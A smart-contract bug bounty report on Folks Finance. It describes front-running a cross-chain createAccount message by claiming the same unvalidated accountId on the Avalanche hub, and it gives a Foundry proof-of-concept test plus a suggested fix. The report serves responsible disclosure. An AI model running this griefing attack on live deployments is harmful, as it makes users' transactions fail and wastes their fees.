Submitted on Tue Jul 16 2024 18:19:37 GMT-0400 (Atlantic Standard Time) by @cryptoticky for Boost | Folks Finance
Report ID: #33272
Report type: Smart Contract
Report severity: Medium
Target: https://sepolia.etherscan.io/address/0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85
Impacts:
- Unbounded gas consumption
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
An attacker can cause a user's message to fail by creating an account with the same accountId while the createAccount message is in transit through the bridge. As a result, the user loses the gas fees incurred for the transaction and the additional gas fees used for the bridge.
AccountId is not validated in any format in SpokeCommon.createAccount and AccountManager.createAccount. AccountId is any value created by user. So attacker can copy the account id from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network). This is possible because there is a delay while the message through the bridge.
Gas costs on the Ethereum network are significantly higher than on the Avalanche network. While an attacker may incur less than $0.1 in costs to carry out the attack, the user could suffer losses between $5 and $10.
It is advisable to set the accountId as the hash value of the userAddress and nonce.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/PoC.sol";
interface ISpokeCommon {
struct MessageParams {
uint16 adapterId; // where to route message through
uint16 returnAdapterId; // if applicable, where to route message through for return message
uint256 receiverValue; // amount of value to attach for receive message
uint256 gasLimit; // gas limit for receive message
uint256 returnGasLimit; // if applicable, gas limit for return message
}
function createAccount(
MessageParams memory params,
bytes32 accountId,
bytes32 refAccountId
) external payable;
}
contract FolksFinance is PoC {
function setUp() virtual public {
console.log("\n>>> Initial conditions");
}
function testCreateAccount() public {
vm.createSelectFork("eth_testnet", 6322454);
address user = vm.createWallet("user").addr;
vm.startPrank(user);
ISpokeCommon spokeCommon = ISpokeCommon(0x16Eecb8CeB2CE4Ec542634d7525191dfce587C85);
ISpokeCommon.MessageParams memory params;
params.adapterId = 2;
params.returnAdapterId = 1;
params.receiverValue = 0;
params.gasLimit = 201817;
params.returnGasLimit = 0;
bytes32 accountId = bytes32(uint256(1));
bytes32 refAccountId;
spokeCommon.createAccount{value: 13828150600000000}(params, accountId, refAccountId);
// User has to pay for gas cost for this tx and fee(the gasLimit for targetChain).
vm.stopPrank();
// An attacker can carry out a frontrunning attack
// The attacker the accountId from the Ethereum network's transaction history and use it to create an account on the HubChain (Avalanche network).
// This is possible because it takes over 10 seconds to complete the transaction through the bridge.
vm.createSelectFork("avalanche_testnet", 34872103);
spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
params.adapterId = 1;
params.returnAdapterId = 1;
params.receiverValue = 0;
params.gasLimit = 0;
params.returnGasLimit = 0;
accountId = bytes32(uint256(1));
spokeCommon.createAccount(params, accountId, refAccountId);
// Wormhole would send the message after the accountId is created and the tx would be failed.
}
}